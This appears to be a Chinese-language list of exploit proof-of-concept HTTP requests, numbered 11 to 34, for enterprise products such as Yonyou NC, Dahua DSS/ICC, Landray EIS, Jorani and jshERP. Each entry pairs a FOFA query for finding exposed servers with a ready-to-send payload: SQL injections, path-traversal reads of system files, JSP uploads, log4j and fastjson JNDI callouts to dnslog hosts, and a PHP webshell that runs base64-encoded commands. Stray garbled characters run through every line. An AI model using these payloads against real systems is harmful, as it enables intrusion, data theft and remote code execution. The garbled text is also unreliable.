: N9 M' B7 B7 F1 h1 d( s0 _
+ y, C$ ?* g! a$ d& a% L0 R0 ?/ o* M* G. w$ a* Z" I
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入3 p! I% c9 C$ S: p+ @5 p( A
FOFA:icon_hash="953405444" || app="Landray-EIS智慧协同平台"
; d9 H" O7 H! f. p+ f6 iGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.18 C" b* |& V1 t5 q0 N
Host: 127.0.0.1' Y7 E) `$ A7 R- u$ {" E# @
Pragma: no-cache1 L. t5 N. Z: A  T2 J, I8 l
Cache-Control: no-cache  G3 E( [0 @# b4 \! t9 f
Upgrade-Insecure-Requests: 1
1 A- z9 Z2 N  t% a  h( ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.365 {1 e8 C, s5 A; K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7! z3 h+ Q4 k7 g3 }! [
Accept-Encoding: gzip, deflate
/ {# [& W$ s- W. h  k! aAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
" y" E6 V5 A+ M, rConnection: close9 ?! w* e9 W3 |9 }
- P) u, {: S$ m8 a0 H9 |- u! T( ~

3 w: k( M8 p5 ?. m12. Jorani < 1.0.2 远程命令执行0 C* e0 O# V7 n- u4 U
FOFA:title="Jorani"
; w3 n8 x0 C) G/ W* D. F* K第一步先拿到cookie
5 S0 ^4 ~) a: O. [2 y8 K( UGET /session/login HTTP/1.1
% F, T8 m: _5 CHost: 192.168.190.30; O2 a% e' p" o, o4 D$ r
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
1 B" t1 Y' m$ v5 G6 ?Connection: close5 H5 t3 p; O! Y8 j6 E- u9 ]% \
Accept-Encoding: gzip
; f( F8 H1 P; Q! d5 [8 P0 V4 W) l! T5 h1 b
, e0 Y1 @9 V  m3 v4 d% _
响应中csrf_cookie_jorani用于后续请求
. a7 Q2 z8 v6 BHTTP/1.1 200 OK/ B+ g) ^1 ?4 M, _2 g( L
Connection: close
% ]6 q( \, F2 A$ ?/ i$ ~* P3 rCache-Control: no-store, no-cache, must-revalidate
7 Q" u6 C! N% b- b7 w7 M: EContent-Type: text/html; charset=UTF-8" _" n8 p. v# Q
Date: Tue, 24 Oct 2023 09:34:28 GMT. A" D  g" \7 H% {: E
Expires: Thu, 19 Nov 1981 08:52:00 GMT6 K  j& K# ^) M  `5 b6 y' X/ b
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
% d0 `! [, W0 ^6 aPragma: no-cache$ N. s; Z/ {5 {2 Z2 L4 L7 B! |
Server: Apache/2.4.54 (Debian): j; ~  u2 t: m% U
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
# V$ I5 p4 ?) J" NSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
$ _  D! i( g) J; W; N* M; gVary: Accept-Encoding) y9 _: Z! o% e7 @4 P. h: ?6 y$ W

# n2 V6 b! D! Y# p# J9 J& D3 `+ A" b7 f
POST请求,执行函数并进行base64编码
! E9 H: P& ]2 D2 |, _9 q! b0 zPOST /session/login HTTP/1.10 K0 d8 R9 K: r( _/ j
Host: 192.168.190.30
7 X! ^' u+ {/ ^& F* h5 ?/ }, l( s( R% kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.366 k* B  z* Z$ H7 L8 b6 e" M% H
Connection: close; V% y9 O2 F8 a  y2 o8 q
Content-Length: 252
: P) b0 z( k/ @% U9 D' H( b; yContent-Type: application/x-www-form-urlencoded
% M! S$ d+ J1 y1 x  y! F2 GCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
0 Q6 M6 P; s0 dAccept-Encoding: gzip
4 t! v" s  o5 K0 p" N$ d8 H/ n; E0 T" o0 O) b0 C+ d
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
5 f0 _7 O* ], J5 C6 _& V4 `. o& Y* s& ]- T  Q2 F) H
" _* V7 e7 O" k2 ]$ w; T$ ]: @4 Y1 d

9 t1 I2 N6 ]) o& M向靶场发送如下请求,执行id命令,请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
! Q" D7 s% o2 j3 ^, l9 S' oGET /pages/view/log-2023-10-24 HTTP/1.1: s3 z; L  n( w  v3 L
Host: 192.168.190.30
- D1 A3 _& W3 T; u; K& xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.364 _5 Q4 Z9 L  ^" K5 B& R
Connection: close: H8 _; _$ x6 c( {
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r$ Q4 `& S  t6 i3 `8 b- @
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
  L' d% M. b- u; r: XX-REQUESTED-WITH: XMLHttpRequest% \) c, N! B: ^7 E3 @& U* m
Accept-Encoding: gzip
' N9 z; E3 [& D' N; L
' n9 k/ O) V; a' I4 ]$ O, N
, C  R7 r) v* n13. 红帆iOffice ioFileDown任意文件读取& y( l$ Z, \, @* K  D) P
FOFA:app="红帆-ioffice"
! u) E8 W6 e7 _, `. CGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1& l# w6 ^) U9 l3 w! V5 X; y' t, H
Host: x.x.x.x
$ _! R# R+ |9 U- Z7 m, m' }, H8 SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- ~$ m. p/ S4 W- J) S$ A6 U* _Connection: close3 p  @- V9 \2 Z" K
Accept: */*! G! f. a# f" n* A2 G
Accept-Encoding: gzip
( E. i4 G" N; M. X
7 W" U( @7 z* c2 W/ h
/ N1 R. A; ~, w' Z14. 华夏ERP(jshERP)敏感信息泄露
8 B- ?+ O* L+ F( B9 H$ G  zFOFA:body="jshERP-boot"- d  B) H+ w- j7 A+ E9 T; ~
泄露内容包括用户名密码, d5 r- t! V' s* f* R
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1# o8 [$ \2 ^$ D
Host: x.x.x.x0 m- m; r4 h. f2 S4 ^- h! w
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36! _6 a# v8 w5 I$ a2 ]! O6 V" R
Connection: close
& V9 s0 v) H' `( u( l. [' V3 f6 NAccept: */*
; q( q: l5 [! f0 ZAccept-Language: en% b8 j1 Z/ m' f' F$ w+ l* F
Accept-Encoding: gzip. H3 }/ F5 F. H4 I; `# L5 a; c

2 F; p3 T; v$ a7 p/ q/ E  Z( X' h3 v. q& H" t! o1 ?. m1 \! R: ~2 R
15. 华夏ERP getAllList信息泄露9 O* t/ d9 R, V4 Z6 q0 I
CVE-2024-0490
$ N5 z( z4 d( {* g# Q, UFOFA:body="jshERP-boot"* H. F" b7 b- c
泄露内容包括用户名密码9 w- L4 H7 ~! |: p
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1& W+ }' E5 }! d
Host: 192.168.40.130:1008 b& j6 [  `# k& f  z/ U+ L
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.363 W4 U5 N3 k5 E* l6 t) @
Connection: close
- P1 {) i; y9 Q8 ]0 ZAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8: U+ m- O4 C7 R% K
Accept-Language: en
5 `4 j0 N! d$ Msec-ch-ua-platform: Windows& Z* b* B' J# c: G
Accept-Encoding: gzip
( A: G0 K# ]; ?9 |, ^9 C: v" G2 E" K/ I. `- ~$ u! n
# W" n2 F: M/ o
16.  红帆HFOffice医微云SQL注入
- Z- \# i* k0 [2 F8 |FOFA:title="HFOffice"
# v: }% t7 ]' y$ Xpoc中调用函数计算1234的md5值. l/ Q( R- T' f( _5 n, E/ h2 Y
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
% v( O2 W8 ^& `/ l. v. FHost: x.x.x.x
1 s' v: c0 V8 c* ?/ N* Y5 SUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
7 e% P  A6 b% u4 @0 B$ jConnection: close" ^3 |) z! Y; Y6 U
Accept: */*# c# Y8 ]1 r$ j; c$ P
Accept-Language: en1 Y. L. h' s& u0 {6 m4 H9 Q8 K
Accept-Encoding: gzip
, L% M! g0 b( K/ P/ ?0 R& J& J- @; A. I6 O: T

+ ~, k8 C. x8 {+ ~! B17. 大华 DSS itcBulletin SQL 注入
; `; [6 }  y( t' R# |FOFA:app="dahua-DSS"8 ~0 t2 y. E6 W8 N
POST /portal/services/itcBulletin?wsdl HTTP/1.1& c( q% |3 d  H
Host: x.x.x.x
; _1 J; Z2 D4 _3 y* C- b3 Z8 G) VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15( c' [2 K$ Q# m( m* a
Connection: close
+ ?( g& Q+ j7 I2 ?  MContent-Length: 345+ `5 e+ @: G% k/ j6 g  ]9 H
Accept-Encoding: gzip
; y, R/ d8 z& N0 A$ C4 U8 e" R9 ^% l- H! S
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>6 F# `5 n1 t' J8 E) f6 H2 m
<s11:Body>9 G, O6 _- T" l; W! e
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
0 Y6 _8 [/ Q) P5 z1 s      <netMarkings>
1 D% |  H7 `2 J7 W% s       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
/ _$ m6 {$ n0 e; [5 B      </netMarkings>
) L9 u! D8 q. r. u    </ns1:deleteBulletin>, {4 n* h, J9 l' f( _# j; P+ T
  </s11:Body>
& S! X* p- c! k; y  f; ~</s11:Envelope>
& g4 {& O2 N( T) x- s# t
6 F  P8 {, L0 Q! e8 y$ X# U
7 Y. U8 _* T0 B& H+ m$ K/ N  }18. 大华 DSS 数字监控系统 user_edit.action 信息泄露' A) p8 w: v1 |6 c3 C) H- R
FOFA:app="dahua-DSS"
% o/ G6 l. n; k4 pGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
( z# ]* N: N/ BHost: your-ip
$ }5 B% O  ^" B! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 J8 W2 b% g) C1 B2 ]1 {Accept-Encoding: gzip, deflate+ A0 W. ?3 D# x
Accept: */*
; ]5 ~) d/ E3 M+ IConnection: keep-alive( X, q  q1 {: c/ v" v
3 g( j& h/ J& {: }8 w  `. {

2 M! C$ R+ {+ y9 D6 }  b6 h. U9 u" g. D# o0 z0 g
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ `: F( J8 H8 Y4 y5 c  pFOFA:app="dahua-DSS"
4 d" ?; J. `( J2 e' k3 s  rGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1) m/ V4 b( O/ v
Host:6 |' H2 G* y5 ?& K: V1 Q) O5 I
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36. F- n8 w- C; [! c5 L
Accept-Encoding: gzip, deflate
, u* A, Z7 y, s) {) SAccept: */*
8 ?2 L4 h' u9 {Connection: keep-alive
3 w" F6 q9 v6 d( G) r" G2 U7 e' z8 `- V) e& e8 m
- j( B5 ^5 X9 B3 r
20. 大华ICC智能物联综合管理平台任意文件读取
4 a+ w/ c* o3 o: h) yFOFA:body="*客户端会小于800*"
6 j/ a/ m2 w' p( QGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1- [1 r) T( B+ [' l. S$ ^0 W
Host: x.x.x.x! X& |; v) F5 i5 v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36; E1 [# I; R: \$ @5 {
Connection: close0 p" ~6 X4 }7 s2 \5 {  U
Accept: */*- K/ i0 Y5 x0 q; _7 @
Accept-Language: en" j3 W- Y5 d) u$ l  ?
Accept-Encoding: gzip' b: S1 s; I4 T. z0 ?  h$ P
  h; k3 y# ^9 W% ~  C. u

5 s' s% t, z' D: y21. 大华ICC智能物联综合管理平台random远程代码执行5 r7 C5 k9 m6 s  A# ~
FOFA:icon_hash="-1935899595"
7 s( B7 h- M. r& G' _% c1 M1 ^POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
8 I: e* {1 m- h; d5 {( q5 |Host: x.x.x.x
( r8 i/ f! K# ~9 ]. rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15% X* {& e1 \8 V* Z0 {9 S) y3 |
Content-Length: 161
: r  F$ A  z3 M. T" U% k5 A3 zAccept-Encoding: gzip$ u5 t3 Q7 M7 i- P
Connection: close
4 T1 B6 x7 a# wContent-Type: application/json;charset=utf-8; j+ B$ g3 e2 ?, o7 Z) N

. f; N3 U  {$ D{# }( ?6 U# V4 b$ r$ l3 g- x
"a":{
; d9 L8 _& Z' a( J& j* p   "@type":"com.alibaba.fastjson.JSONObject",. |* G) t7 L- }4 F; c
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }$ J6 A) M/ A- M. c) E  }""7 n1 I  R; ]# V- J5 S% R
}4 t( c6 \8 q8 t% f6 U# X, W7 E6 {
; w5 |1 B! x% U3 F* ?; v

- o; Y6 {* Q2 G& r7 V22. 大华ICC智能物联综合管理平台 log4j远程代码执行
' S8 J3 Y, E( d1 F; e- XFOFA:icon_hash="-1935899595"
, i- ?8 a+ s9 \3 |* [: R! WPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1$ C$ m' k& l; z2 s# ?5 Y. E4 u, J
Host: your-ip
+ i3 y# V1 Y' r* G5 @) VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 s( x  c2 x0 [- xContent-Type: application/json;charset=utf-8
9 m( ~* a, F0 Z, q# m3 d; W6 e# [" g$ d5 c' M6 q+ S; j
{  T5 I! q; h( i2 L  [
"loginName":"${jndi:ldap://dnslog}"
# X, d8 R& d' }( {9 B7 ~. C' J- @9 L}
, ?% H, p+ j( p# t; v" m: Y8 Z2 H0 g: A. K3 J& L" f6 X; U

4 v. z& U) h: s; Y
6 B/ a/ r4 u9 E7 B23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
2 N% p$ j8 m: z) A  h: EFOFA:icon_hash="-1935899595"- u5 E4 u. B" {7 ?& b& i( r# H! w1 m
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
9 K7 Z+ s; B5 [5 p# ^Host: your-ip; z' `0 T& `; s% Z4 W3 ^
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; p9 }) a; x$ r5 }- G9 T6 qContent-Type: application/json;charset=utf-86 G/ ~; f8 C$ E2 a5 r* |- S
Accept-Encoding: gzip
! F' K- ]0 C3 `9 @; \8 M6 s  iConnection: close
8 W" E+ Q. w- i1 ~/ b) o* c. v. v. K# G4 L7 X% |; m" H( h+ A0 M
{
0 c0 ^4 {5 U5 ~/ b+ t    "a":{
9 K3 ^9 o- D; E! I6 D- j) M8 V7 V        "@type":"com.alibaba.fastjson.JSONObject",
& Z8 B! Z* R4 s2 h7 \) ~6 k       {"@type":"java.net.URL","val":"http://DNSLOG"}# s% W3 x8 R& ?0 P& H* ]
        }""
' Y# z/ C  X% v' @$ C2 y}& V2 j0 i( H7 H* G
. |% P7 Y7 m+ X# i2 D
8 ]  ?$ r" g" F% f! J
24. 用友NC 6.5 accept.jsp任意文件上传
: ^0 t, r' @1 [, C& \FOFA:icon_hash="1085941792"* f: V6 j( w/ {
POST /aim/equipmap/accept.jsp HTTP/1.1
% a7 C0 H. x) T& y- o6 mHost: x.x.x.x- c3 F* M2 f. E( H" s; P
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
9 f/ R8 T( X, v; FConnection: close4 n0 a5 }* ?* B
Content-Length: 449
& k' X7 {8 k3 s) A- RAccept: */*' \! Z9 I2 o/ f5 i9 K: U6 N. @
Accept-Encoding: gzip3 F8 E; W2 a% B2 }5 R
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ h; l$ G$ {: l! a" [% o' {1 |8 P) j
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc$ W9 `/ c( z# }( m/ E
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"1 C5 P7 V& d6 Y! I; V4 m  u: w  U
Content-Type: text/plain
; ?& o' ~9 J$ `
; C+ X& A( a5 N  Y; U<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
2 ~) t4 K; B7 ~% }( I8 w3 \$ L-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
# E  ?; `* A1 vContent-Disposition: form-data; name="fname"
1 c8 l/ Y' V- x* p: O9 Q/ N& r! ~3 @
; Y! q% C* f) h) m: t\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp6 g7 X4 [# Z2 l$ X6 W& @/ }$ ~, e
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--% E+ T# u" Z" C% B* }1 B- [
6 Q/ l3 G% S4 E$ ^  c

; T! q1 Z7 _# j* F' A25. 用友NC registerServlet JNDI 远程代码执行
$ _. N2 u0 D% Q/ VFOFA:app="用友-UFIDA-NC"
! ?1 B% k  @, h, S4 HPOST /portal/registerServlet HTTP/1.1
% e6 s, v# [$ ]; g9 R+ d# z; u) i* A  ZHost: your-ip
: V5 v* P# ?! h$ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.02 h$ t, ?: K3 D+ [* |0 I% e/ x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9# c- K. X" `9 h- _9 f- m
Accept-Encoding: gzip, deflate" D" ~8 O5 ~9 j: I0 S/ {/ l/ P
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.68 F8 o, `8 q7 e: p, g
Content-Type: application/x-www-form-urlencoded
3 }' |& @7 P; w. Z# ]- W* e' c' k
- c9 X/ O0 Q; Ctype=1&dsname=ldap://dnslog
1 z$ j+ m2 K5 j( Z. @6 R1 |  T- u; V

' A+ \  }" y9 Z  u, P& R, O) ?+ }* D5 [9 [0 [  ^
26. 用友NC linkVoucher SQL注入" N( j% O- ]  m! l. A4 k; |
FOFA:app="用友-UFIDA-NC"
/ a1 r8 U9 D1 t- k/ ?2 PGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 g4 j. @3 S' ?4 _8 W: hHost: your-ip
; x7 K4 t  X. f/ |5 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ @' ^1 r/ y5 O3 hContent-Type: application/x-www-form-urlencoded- p7 s7 d; j4 h" l: c5 A) S
Accept-Encoding: gzip, deflate
; K3 P+ F% z  R  E& o' d. SAccept: */*3 {3 ~, C0 X" u; Z  P
Connection: keep-alive* `- y9 Y2 d9 }; T! L7 m) x8 m

2 |  K. G$ m2 j# L! w7 A
+ u. M2 m3 }6 C( e% ^, S27. 用友 NC showcontent SQL注入2 R! O3 H5 c; V1 N
FOFA:icon_hash="1085941792"
; \& R% Z. i# D) T, u. l2 lGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1% p  ^# U( g; F8 J( T+ h
Host: your-ip
( O) V2 H9 t% q6 p/ c$ N/ ?7 P5 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. z9 C( w! P4 d5 d- ?* t& d3 ~9 |Accept-Encoding: identity3 g" m/ K4 _0 M2 R3 Q' j$ k. J
Connection: close; F5 k: L% ~6 P6 b! L4 ~# ~
Content-Type: text/xml; charset=utf-8
- q+ ?5 x8 k- y/ o( F7 B! t! @# ~% ]% P$ y) L$ o
. _( I! u& P: i$ i6 C) x
28. 用友NC grouptemplet 任意文件上传4 U3 c9 P% j! L
FOFA:icon_hash="1085941792"" c  H0 f- u8 G! G% p
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1; @, t. n6 ]/ P3 U
Host: x.x.x.x  u. i( u: u: X0 S9 W4 P- |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
! g6 ^! e4 Z: r5 C9 d1 m! |* HConnection: close: b3 |3 F! K* s! O& _% H, H
Content-Length: 268
" z% x7 U% P4 |6 I( P, i' rContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
) O& x" p) V% ]( n# \$ B& KAccept-Encoding: gzip; k7 C, Z* b4 z5 j9 F% v" N  w' ^

) m+ [. l! G7 g2 E9 V/ ~------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
) K. _8 }3 @# G5 s  P- aContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"& C0 M# L9 B/ T0 t* C" k) Q
Content-Type: application/octet-stream
( b% ~5 M, C# c( ~8 V: B
  c$ N. G) A' Z; M( q  @  d<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>' ~2 q7 A8 v& r8 q3 P! O
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
8 S" i/ c6 L# X6 j$ f: b8 Q2 W, h
7 b# N) J1 V, t8 f
' ?& p- u( A4 e/ Y; i/uapim/static/pages/nc/head.jsp: g5 C* m& s( u( h; S
/ E7 f& T2 i; _; d$ m
29. 用友NC down/bill SQL注入0 _# h( l- D7 d6 R7 M
FOFA:icon_hash="1085941792" && body="/logo/images/logo.gif"( y0 B4 ^5 t% \4 p3 J
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1: i) _" Q- h' Q$ a0 C5 _
Host: your-ip7 B, C: I' a- f7 D. Q. o) h
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 R4 l+ N/ Z! P1 _8 e3 A# oContent-Type: application/x-www-form-urlencoded
8 O5 ]9 \) R& k9 \  KAccept-Encoding: gzip, deflate
" Q4 p9 V6 [5 |9 A$ N4 ?Accept: */*1 v$ T3 J0 n  n+ X2 o
Connection: keep-alive
* x5 i4 V) V7 ^+ [  o* L- Q0 J$ d
  h0 ^% `% ?5 l: ^) B0 W* q% t- T" l, G* t! k. W
30. 用友NC importPml SQL注入. b5 ]; @- A) e7 m4 E$ j: d
FOFA:icon_hash="1085941792" && body="/logo/images/logo.gif"7 G  O: S* n: b2 m3 y0 K  J
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
7 N$ S& }- }) ?Host: your-ip
( y, U/ B. |( `, D3 UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
* X* \8 Y3 U( X" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36* W* ^, R: C( O4 k9 r) S- g
Connection: close
; J+ Z; M8 Z/ Z4 @( c5 w0 f2 @( ]; B. H$ f( N5 [  }$ l' {. ~
------WebKitFormBoundaryH970hbttBhoCyj9V3 t7 H' l6 P/ p: |
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"  a" p' S1 ?3 h% Y% \( K
Content-Type: image/jpeg
1 j2 v$ V" g: I------WebKitFormBoundaryH970hbttBhoCyj9V--
, F' S1 M0 q# M  Y. \
- p% @+ W- K, \5 s2 b( I1 ^* V; E
; H( @8 Y. b4 m  t& M31. 用友NC runStateServlet SQL注入
4 n7 B# a' _. }; O  G. hversion<=6.5* m$ ]+ b- x) s. f0 |: U
FOFA:icon_hash="1085941792" && body="/logo/images/logo.gif"
+ G; |7 Q  W3 z# Z4 a# c3 x7 B/ FGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.18 _& b5 V- O/ ]; r
Host: host
8 @+ ?9 R4 a: i! Q7 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36/ M3 ?+ p, Q, C" n
Content-Type: application/x-www-form-urlencoded" _4 {3 z+ s. G: l

) V- a3 [% V+ w& f1 g! r9 o. a
2 E) x- h- v# J. r7 B: g" M4 e1 m  `) {32. 用友NC complainbilldetail SQL注入
; L, q$ ]- H7 E* |version= NC633、NC656 {$ Y' U1 k9 T/ T% ~: _( d& E) V" ]1 T
FOFA:app="用友-UFIDA-NC"6 ?* s- o; R$ M; G" t
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1+ L6 ^5 W! \; P7 f6 B
Host: your-ip7 V- i) x7 C- H5 H4 r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36( j# g' ~- s( V- A
Content-Type: application/x-www-form-urlencoded# h0 N" k: g; q: J! P+ _/ R& S! `
Accept-Encoding: gzip, deflate$ [( I: _3 H: k( c* S6 R+ Q9 D
Accept: */*3 K) {' s. P4 Q4 Y! l4 p! y$ C; C2 X
Connection: keep-alive
4 {/ f9 v3 k- n' w  L
) K: T1 \: E, M: j0 \, u
" N3 H7 \; H! q' L33. 用友NC downTax/download SQL注入
' Q: M8 V+ S9 ~4 ~8 hversion:NC6.5FOFA:app="用友-UFIDA-NC"8 Q9 m! u8 b& R. n
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ y# B5 C* t( `( J' k) z8 c  g9 ZHost: your-ip8 p7 Q) X% G4 `. c! v' s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.360 v8 c0 @9 D9 J
Content-Type: application/x-www-form-urlencoded. ^5 B3 e8 E& x$ P- Q! C
Accept-Encoding: gzip, deflate
# j8 K! i" O3 IAccept: */*
$ X2 }: b* Z( B- K& pConnection: keep-alive
( b) v6 {4 o' A, H* I) W6 P5 @& e
; x) ]: x/ D$ O7 h% t
' E. J, I4 ]" m, ]  j8 z34. 用友NC warningDetailInfo接口SQL注入
  z( t9 \+ C  T1 _0 \7 w, }FOFA:app="用友-UFIDA-NC"! `* T$ n6 ~9 ?
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 g# S5 ]! [7 M8 QHost: your-ip
